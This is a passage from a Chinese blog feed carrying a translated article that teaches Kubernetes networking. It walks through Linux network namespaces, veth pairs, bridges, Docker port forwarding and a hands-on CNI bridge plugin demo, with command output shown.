&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec busybox-deployment-8c7dc8548-8bxnw -- ip route
default via 169.254.1.1 dev eth0
169.254.1.1 dev eth0 scope link
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行 Ping，触发 ARP 查询：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec busybox-deployment-8c7dc8548-8bxnw -- arp
master $ kubectl exec busybox-deployment-8c7dc8548-8bxnw -- ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=116 time=3.786 ms
^C
$ kubectl exec busybox-deployment-8c7dc8548-8bxnw -- arp
? (169.254.1.1) at ee:ee:ee:ee:ee:ee [ether]  on eth0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;概念和前一种模式相似，区别在于数据包抵达 &lt;code&gt;vxland&lt;/code&gt; 的时候，会把节点 IP 以及 MAC 地址封装并发送。另外 &lt;code&gt;vxland&lt;/code&gt; 的 UDP 端口是 4789。这里会从 etcd 获取可用节点以及节点支持的 IP 范围，从而让 &lt;code&gt;vxlan-calico&lt;/code&gt; 据此构建数据包。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;VxLan 模式需要更多系统开销&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&#34;images/7.png&#34; alt=&#34;7&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;声明&#34;&gt;声明&lt;/h2&gt;

&lt;p&gt;本文未提供任何技术建议和推荐，文中所述皆为个人观点，不代表我所供职的企业。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>数据包在 Kubernetes 中的一生（1）</title>
      <link>/post/life-of-a-packet-in-k8s-1/</link>
      <pubDate>Tue, 15 Jun 2021 22:49:04 +0800</pubDate>
      <guid>/post/life-of-a-packet-in-k8s-1/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://dramasamy.medium.com/life-of-a-packet-in-kubernetes-part-1-f9bc0909e051&#34; target=&#34;_blank&#34;&gt;Life of a Packet in Kubernetes — Part 1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://dramasamy.medium.com/&#34; target=&#34;_blank&#34;&gt;Dinesh Kumar Ramasamy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;即使是对于具备一定虚拟网络和路由知识的人来说，Kubernetes 集群的网络也是个颇为麻烦的事情。本文尝试帮助读者理解 Kubernetes 网络的基础知识。初期目标是根据一个发往 Kubernetes 集群 Service 的 HTTP 请求的路线，来理解 Kubernetes 网络的复杂性。这中间会涉及到命名空间、CNI 以及 Calico。第一篇会从 Linux 网络开始，后续章节会涉及到其他主题。&lt;/p&gt;

&lt;h2 id=&#34;linux-命名空间&#34;&gt;Linux 命名空间&lt;/h2&gt;

&lt;p&gt;Linux 命名空间包含了现代容器中的一些基础技术。从高层来看，这一技术允许把系统资源在进程之间进行隔离。例如 PID 命名空间会会把进程 ID 空间进行隔离，这样同一个主机之中的两个进程就能隔离了。&lt;/p&gt;

&lt;p&gt;这个级别的隔离对容器世界来说是很重要的。没有命名空间的话，A 容器中的进程可能会卸载 B 容器中的文件系统，或者修改 C 容器的主机名，又或删除 D 容器的网卡。将这些资源纳入命名空间进行管理，A 容器甚至无法感知 B、C、D 容器的存在。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Mount：隔离文件系统加载点；&lt;/li&gt;
&lt;li&gt;UTS：隔离主机名和域名；&lt;/li&gt;
&lt;li&gt;IPC：隔离跨进程通信（IPC）资源；&lt;/li&gt;
&lt;li&gt;PID：隔离 PID 空间；&lt;/li&gt;
&lt;li&gt;网络：隔离网络接口；&lt;/li&gt;
&lt;li&gt;用户：隔离 UID/GID 空间；&lt;/li&gt;
&lt;li&gt;Cgroup：隔离 cgroup 根目录。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;绝大多数容器会使用上述命名空间在容器进程之间进行隔离。要注意 cgroup 命名空间出现较晚，相对其它命名空间来说，用的比较少。&lt;/p&gt;

&lt;h2 id=&#34;容器网络-网络命名空间&#34;&gt;容器网络（网络命名空间）&lt;/h2&gt;

&lt;p&gt;在进入 CNI 和 Docker 之前，首先看看容器网络的核心技术。Linux 内核有不少多租户方面的功能。命名空间对不同种类的资源进行了隔离，网络命名空间隔离的自然就是网络。&lt;/p&gt;

&lt;p&gt;在主流 Linux 操作系统中都可以简单地用 &lt;code&gt;ip&lt;/code&gt; 命令创建网络命名空间。接下来创建两个分别用于服务器和客户端的网络命名空间。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip netns add client
$ ip netns add server
$ ip netns list
server
client
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/1.png&#34; alt=&#34;1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;创建一对 &lt;code&gt;veth&lt;/code&gt; 将命名空间进行连接，可以把 &lt;code&gt;veth&lt;/code&gt; 想象为连接两端的网线。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip link add veth-client type veth peer name veth-server
$ ip link list | grep veth
4: veth-server@veth-client: &amp;lt;BROADCAST,MULTICAST,M-DOWN&amp;gt; mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000
5: veth-client@veth-server: &amp;lt;BROADCAST,MULTICAST,M-DOWN&amp;gt; mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/2.png&#34; alt=&#34;2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这一对 &lt;code&gt;veth&lt;/code&gt; 是存在于主机的网络命名空间的，接下来我们把两端分别置入各自的命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip link set veth-client netns client
$ ip link set veth-server netns server
$ ip link list | grep veth # doesn’t exist on the host network namespace now
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/3.png&#34; alt=&#34;3&#34; /&gt;&lt;/p&gt;

&lt;p&gt;从 &lt;code&gt;client&lt;/code&gt; 命名空间检查一下命名空间中的 &lt;code&gt;veth&lt;/code&gt; 状况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip netns exec client ip link
1: lo: &amp;lt;LOOPBACK&amp;gt; mtu 65536 qdisc noop state DOWN mode DEFAULT group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5: veth-client@if4: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000
    link/ether ca:e8:30:2e:f9:d2 brd ff:ff:ff:ff:ff:ff link-netnsid 1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后是 &lt;code&gt;server&lt;/code&gt; 命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip netns exec server ip link
1: lo: &amp;lt;LOOPBACK&amp;gt; mtu 65536 qdisc noop state DOWN mode DEFAULT group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
4: veth-server@if5: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000
    link/ether 42:96:f0:ae:f0:c5 brd ff:ff:ff:ff:ff:ff link-netnsid 0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来给这些网络接口分配 IP 地址并启用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip netns exec client ip address add 10.0.0.11/24 dev veth-client
$ ip netns exec client ip link set veth-client up
$ ip netns exec server ip address add 10.0.0.12/24 dev veth-server
$ ip netns exec server ip link set veth-server up
$
$ ip netns exec client ip addr
1: lo: &amp;lt;LOOPBACK&amp;gt; mtu 65536 qdisc noop state DOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5: veth-client@if4: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether ca:e8:30:2e:f9:d2 brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet 10.0.0.11/24 scope global veth-client
       valid_lft forever preferred_lft forever
    inet6 fe80::c8e8:30ff:fe2e:f9d2/64 scope link
       valid_lft forever preferred_lft forever
$
$ ip netns exec server ip addr
1: lo: &amp;lt;LOOPBACK&amp;gt; mtu 65536 qdisc noop state DOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
4: veth-server@if5: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 42:96:f0:ae:f0:c5 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.0.0.12/24 scope global veth-server
       valid_lft forever preferred_lft forever
    inet6 fe80::4096:f0ff:feae:f0c5/64 scope link
       valid_lft forever preferred_lft forever
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/4.png&#34; alt=&#34;4&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在 &lt;code&gt;client&lt;/code&gt; 命名空间中使用 &lt;code&gt;ping&lt;/code&gt; 命令检查一下两个网络命名空间的连接状况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip netns exec client ping 10.0.0.12
PING 10.0.0.12 (10.0.0.12) 56(84) bytes of data.
64 bytes from 10.0.0.12: icmp_seq=1 ttl=64 time=0.101 ms
64 bytes from 10.0.0.12: icmp_seq=2 ttl=64 time=0.072 ms
64 bytes from 10.0.0.12: icmp_seq=3 ttl=64 time=0.084 ms
64 bytes from 10.0.0.12: icmp_seq=4 ttl=64 time=0.077 ms
64 bytes from 10.0.0.12: icmp_seq=5 ttl=64 time=0.079 ms
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果要创建更网络命名空间并互相连接，用 &lt;code&gt;veth&lt;/code&gt; 对将这些网络命名空间进行两两连接就很麻烦了。可以创建创建一个 Linux 网桥来连接这些网络命名空间。Docker 就是这样为同一主机内的容器进行连接的。&lt;/p&gt;

&lt;p&gt;下面就创建网络命名空间并用网桥连接起来：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# All in one
BR=bridge1
HOST_IP=172.17.0.33
ip link add client1-veth type veth peer name client1-veth-br
ip link add server1-veth type veth peer name server1-veth-br
ip link add $BR type bridge
ip netns add client1
ip netns add server1
ip link set client1-veth netns client1
ip link set server1-veth netns server1
ip link set client1-veth-br master $BR
ip link set server1-veth-br master $BR
ip link set $BR up
ip link set client1-veth-br up
ip link set server1-veth-br up
ip netns exec client1 ip link set client1-veth up
ip netns exec server1 ip link set server1-veth up
ip netns exec client1 ip addr add 172.30.0.11/24 dev client1-veth
ip netns exec server1 ip addr add 172.30.0.12/24 dev server1-veth
ip netns exec client1 ping 172.30.0.12 -c 5
ip addr add 172.30.0.1/24 dev $BR
ip netns exec client1 ping 172.30.0.12 -c 5
ip netns exec client1 ping 172.30.0.1 -c 5
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/5.png&#34; alt=&#34;5&#34; /&gt;&lt;/p&gt;

&lt;p&gt;还是用 &lt;code&gt;ping&lt;/code&gt; 命令检查两个网络命名空间的连接性：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip netns exec client1 ping 172.30.0.12 -c 5
PING 172.30.0.12 (172.30.0.12) 56(84) bytes of data.
64 bytes from 172.30.0.12: icmp_seq=1 ttl=64 time=0.138 ms
64 bytes from 172.30.0.12: icmp_seq=2 ttl=64 time=0.091 ms
64 bytes from 172.30.0.12: icmp_seq=3 ttl=64 time=0.073 ms
64 bytes from 172.30.0.12: icmp_seq=4 ttl=64 time=0.070 ms
64 bytes from 172.30.0.12: icmp_seq=5 ttl=64 time=0.107 ms
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;从命名空间中 &lt;code&gt;ping&lt;/code&gt; 一下主机 IP：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip netns exec client1 ping $HOST_IP -c 2
connect: Network is unreachable
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;Network is unreachable&lt;/code&gt; 的原因是路由不通，加入一条缺省路由：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip netns exec client1 ip route add default via 172.30.0.1
$ ip netns exec server1 ip route add default via 172.30.0.1
$ ip netns exec client1 ping $HOST_IP -c 5
PING 172.17.0.23 (172.17.0.23) 56(84) bytes of data.
64 bytes from 172.17.0.23: icmp_seq=1 ttl=64 time=0.053 ms
64 bytes from 172.17.0.23: icmp_seq=2 ttl=64 time=0.121 ms
64 bytes from 172.17.0.23: icmp_seq=3 ttl=64 time=0.078 ms
64 bytes from 172.17.0.23: icmp_seq=4 ttl=64 time=0.129 ms
64 bytes from 172.17.0.23: icmp_seq=5 ttl=64 time=0.119 ms
--- 172.17.0.23 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3999ms
rtt min/avg/max/mdev = 0.053/0.100/0.129/0.029 ms
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;default&lt;/code&gt; 路由打通了网桥的通信，这样这个命名空间就能和外部网络进行通信了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ping 8.8.8.8 -c 2
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=3.40 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=117 time=3.81 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 3.403/3.610/3.817/0.207 ms
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;从外部服务器连接内网&#34;&gt;从外部服务器连接内网&lt;/h2&gt;

&lt;p&gt;如你所见，这里演示用的机器已经安装了 Docker，也就是说已经创建了 &lt;code&gt;docker0&lt;/code&gt; 网桥。测试场景需要所有网络命名空间的协同，进行 Web Server 的测试有些复杂，因此这里就借用一下 &lt;code&gt;docker0&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;docker0   Link encap:Ethernet  HWaddr 02:42:e2:44:07:39
          inet addr:172.18.0.1  Bcast:172.18.0.255  Mask:255.255.255.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行一个 nginx 容器并进行观察：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ docker run -d --name web --rm nginx
efff2d2c98f94671f69cddc5cc88bb7a0a5a2ea15dc3c98d911e39bf2764a556
$ WEB_IP=`docker inspect -f &amp;quot;{{ .NetworkSettings.IPAddress }}&amp;quot; web`
$ docker inspect web --format &#39;{{ .NetworkSettings.SandboxKey }}&#39;
/var/run/docker/netns/c009f2a4be71
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Docker 创建的 &lt;code&gt;netns&lt;/code&gt; 没有保存在缺省位置，所以 &lt;code&gt;ip netns list&lt;/code&gt; 是看不到这个网络命名空间的。我们可以在缺省位置创建一个符号链接：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ container_id=web
$ container_netns=$(docker inspect ${container_id} --format &#39;{{ .NetworkSettings.SandboxKey }}&#39;)
$ mkdir -p /var/run/netns
$ rm -f /var/run/netns/${container_id}
$ ln -sv ${container_netns} /var/run/netns/${container_id}
&#39;/var/run/netns/web&#39; -&amp;gt; &#39;/var/run/docker/netns/c009f2a4be71&#39;
$ ip netns list
web (id: 3)
server1 (id: 1)
client1 (id: 0)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看看 &lt;code&gt;web&lt;/code&gt; 命名空间的 IP 地址：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip netns exec web ip addr
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
11: eth0@if12: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:12:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.18.0.3/24 brd 172.18.0.255 scope global eth0
       valid_lft forever preferred_lft forever
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后看看容器里的 IP 地址：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ WEB_IP=`docker inspect -f &amp;quot;{{ .NetworkSettings.IPAddress }}&amp;quot; web`
$ echo $WEB_IP
172.18.0.3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;从主机访问一下 &lt;code&gt;web&lt;/code&gt; 命名空间的服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl $WEB_IP
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;加入端口转发规则，其它主机就能访问这个 nginx 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $WEB_IP:80
$ echo $HOST_IP
172.17.0.23
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用主机 IP 访问 Nginx：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl 172.17.0.23
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;
&amp;lt;style&amp;gt;
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Welcome to nginx!&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;For online documentation and support please refer to
&amp;lt;a href=&amp;quot;http://nginx.org/&amp;quot;&amp;gt;nginx.org&amp;lt;/a&amp;gt;.&amp;lt;br/&amp;gt;
Commercial support is available at
&amp;lt;a href=&amp;quot;http://nginx.com/&amp;quot;&amp;gt;nginx.com&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Thank you for using nginx.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/6.png&#34; alt=&#34;6&#34; /&gt;&lt;/p&gt;

&lt;p&gt;CNI 插件会执行上面的过程（不完全相同，但是类似）来设置 &lt;code&gt;loopback&lt;/code&gt;、&lt;code&gt;eth0&lt;/code&gt;，并给容器分配 IP。容器运行时调用 CNI 设置 Pod 网络，接下来讨论一下 CNI。&lt;/p&gt;

&lt;h2 id=&#34;cni-是什么&#34;&gt;CNI 是什么&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;CNI 插件负责在容器网络命名空间中插入一个网络接口（也就是 &lt;code&gt;veth&lt;/code&gt; 对中的一端）并在主机侧进行必要的变更（把 &lt;code&gt;veth&lt;/code&gt; 对中的另一侧接入网桥）。然后给网络接口分配 IP，并调用 IPAM 插件来设置相应的路由。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;看起来很眼熟吧？是的，我们在前面的容器网络部分已经说了这些内容。&lt;/p&gt;

&lt;p&gt;CNI 是一个 CNCF 项目，其中包含了在 Linux 容器进行网络配置的规范和库。CNI 的主要工作就是容器网络的连接能力，并在容器销毁时移除相应的已分配资源。这种专注性使得 CNI 易于实现，因此被广泛接受。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/7.png&#34; alt=&#34;7.png&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;此处所说的运行时可能是 Kubernetes、Podman 等等。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;cni-规范&#34;&gt;CNI 规范&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;https://github.com/containernetworking/cni/blob/master/SPEC.md&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;在我首次阅读时，注意到了一些点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;因为 Docker 等运行时会为每个容器新建一个网络命名空间，所以规范把容器定义为 Linux 网络命名空间；&lt;/li&gt;
&lt;li&gt;CNI 的网络定义用 JSON 格式存储；&lt;/li&gt;
&lt;li&gt;网络定义通过 STDIN 发送给插件；换句话说主机上并没有网络配置文件；&lt;/li&gt;
&lt;li&gt;其他参数通过环境变量进行传递；&lt;/li&gt;
&lt;li&gt;CNI 插件是可执行文件；&lt;/li&gt;
&lt;li&gt;CNI 插件负责容器的网络；换句话说，它需要完成所有容器接入网络所需的工作。在 Docker 中会包含把容器网络命名空间连回主机的工作；&lt;/li&gt;
&lt;li&gt;CNI 插件负责 IPAM 工作，其中包括 IP 地址分配和路由设置。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;接下来尝试脱离 Kubernetes 模拟创建 Pod，并使用 CNI 插件而非 CLI 命令进行 IP 分配。完成 Demo 就会更好地理解 Kubernetes 中 Pod 的本质。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;第一步：下载 CNI 插件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ mkdir cni
$ cd cni
$ curl -O -L https://github.com/containernetworking/cni/releases/download/v0.4.0/cni-amd64-v0.4.0.tgz
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   644  100   644    0     0   1934      0 --:--:-- --:--:-- --:--:--  1933
100 15.3M  100 15.3M    0     0   233k      0  0:01:07  0:01:07 --:--:--  104k
$ tar -xvf cni-amd64-v0.4.0.tgz
./
./macvlan
./dhcp
./loopback
./ptp
./ipvlan
./bridge
./tuning
./noop
./host-local
./cnitool
./flannel
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;第二步，创建一个 JSON 格式的 CNI 配置（&lt;code&gt;00-demo.conf&lt;/code&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;cniVersion&amp;quot;: &amp;quot;0.2.0&amp;quot;,
    &amp;quot;name&amp;quot;: &amp;quot;demo_br&amp;quot;,
    &amp;quot;type&amp;quot;: &amp;quot;bridge&amp;quot;,
    &amp;quot;bridge&amp;quot;: &amp;quot;cni_net0&amp;quot;,
    &amp;quot;isGateway&amp;quot;: true,
    &amp;quot;ipMasq&amp;quot;: true,
    &amp;quot;ipam&amp;quot;: {
        &amp;quot;type&amp;quot;: &amp;quot;host-local&amp;quot;,
        &amp;quot;subnet&amp;quot;: &amp;quot;10.0.10.0/24&amp;quot;,
        &amp;quot;routes&amp;quot;: [
            { &amp;quot;dst&amp;quot;: &amp;quot;0.0.0.0/0&amp;quot; },
            { &amp;quot;dst&amp;quot;: &amp;quot;1.1.1.1/32&amp;quot;, &amp;quot;gw&amp;quot;:&amp;quot;10.0.10.1&amp;quot;}
        ]
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;CNI 配置参数：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;-:CNI generic parameters:-
cniVersion: The version of the CNI spec in which the definition works with
name: The network name
type: The name of the plugin you wish to use.  In this case, the actual name of the plugin executable
args: Optional additional parameters
ipMasq: Configure outbound masquerade (source NAT) for this network
ipam:
    type: The name of the IPAM plugin executable
    subnet: The subnet to allocate out of (this is actually part of the IPAM plugin)
    routes:
        dst: The subnet you wish to reach
        gw: The IP address of the next hop to reach the dst.  If not specified the default gateway for the subnet is assumed
dns:
    nameservers: A list of nameservers you wish to use with this network
    domain: The search domain to use for DNS requests
    search: A list of search domains
    options: A list of options to be passed to the receiver
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;第三步：创建一个网络为 &lt;code&gt;none&lt;/code&gt; 的容器，这个容器没有网络地址。可以用任意的镜像创建该容器，这里我用 &lt;code&gt;pause&lt;/code&gt; 来模拟 Kubernetes：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ docker run --name pause_demo -d --rm --network none kubernetes/pause
Unable to find image &#39;kubernetes/pause:latest&#39; locally
latest: Pulling from kubernetes/pause
4f4fb700ef54: Pull complete
b9c8ec465f6b: Pull complete
Digest: sha256:b31bfb4d0213f254d361e0079deaaebefa4f82ba7aa76ef82e90b4935ad5b105
Status: Downloaded newer image for kubernetes/pause:latest
763d3ef7d3e943907a1f01f01e13c7cb6c389b1a16857141e7eac0ac10a6fe82
$ container_id=pause_demo
$ container_netns=$(docker inspect ${container_id} --format &#39;{{ .NetworkSettings.SandboxKey }}&#39;)
$ mkdir -p /var/run/netns
$ rm -f /var/run/netns/${container_id}
$ ln -sv ${container_netns} /var/run/netns/${container_id}
&#39;/var/run/netns/pause_demo&#39; -&amp;gt; &#39;/var/run/docker/netns/0297681f79b5&#39;
$ ip netns list
pause_demo
$ ip netns exec $container_id ifconfig
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;第四步：用前面的配置来调用 CNI 插件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ CNI_CONTAINERID=$container_id CNI_IFNAME=eth10 CNI_COMMAND=ADD CNI_NETNS=/var/run/netns/$container_id CNI_PATH=`pwd` ./bridge &amp;lt;/tmp/00-demo.conf
2020/10/17 17:32:37 Error retriving last reserved ip: Failed to retrieve last reserved ip: open /var/lib/cni/networks/demo_br/last_reserved_ip: no such file or directory
{
    &amp;quot;ip4&amp;quot;: {
        &amp;quot;ip&amp;quot;: &amp;quot;10.0.10.2/24&amp;quot;,
        &amp;quot;gateway&amp;quot;: &amp;quot;10.0.10.1&amp;quot;,
        &amp;quot;routes&amp;quot;: [
            {
                &amp;quot;dst&amp;quot;: &amp;quot;0.0.0.0/0&amp;quot;
            },
            {
                &amp;quot;dst&amp;quot;: &amp;quot;1.1.1.1/32&amp;quot;,
                &amp;quot;gw&amp;quot;: &amp;quot;10.0.10.1&amp;quot;
            }
        ]
    },
    &amp;quot;dns&amp;quot;: {}
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CNI_COMMAND=ADD&lt;/code&gt;：动作，可选范围包括 &lt;code&gt;ADD&lt;/code&gt;、&lt;code&gt;DEL&lt;/code&gt; 和 &lt;code&gt;CHECK&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CNI_CONTAINER=pause_demo&lt;/code&gt;：通知 CNI 对 &lt;code&gt;pause_demo&lt;/code&gt; 网络命名空间进行操作；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CNI_NETNS=/var/run/netns/pause_demo&lt;/code&gt;：命名空间所在路径；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CNI_IFNAME=eth10&lt;/code&gt;：在容器端创建的网络接口名称；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CNI_PATH=`pwd`&lt;/code&gt;：CNI 插件的可执行文件的位置，在本例中我们的当前目录已经是 &lt;code&gt;cni&lt;/code&gt; 目录，因此这个环境变量设置为 &lt;code&gt;`pwd`&lt;/code&gt; 即可.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;强烈建议阅读 CNI 规范以获知更多 CNI 插件及其功能的信息。在同一个 JSON 文件中可以使用多个插件形成调用链，可以用于建立防火墙规则等类似操作。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;第五步，运行上面的命令会返回一些内容。&lt;/p&gt;

&lt;p&gt;首先是因为 IPAM 驱动在本地找不到保存 IP 信息的文件而报错。但是因为第一次运行插件时会创建这个文件，所以在其他命名空间再次运行这个命令就不会出现这个问题了。&lt;/p&gt;

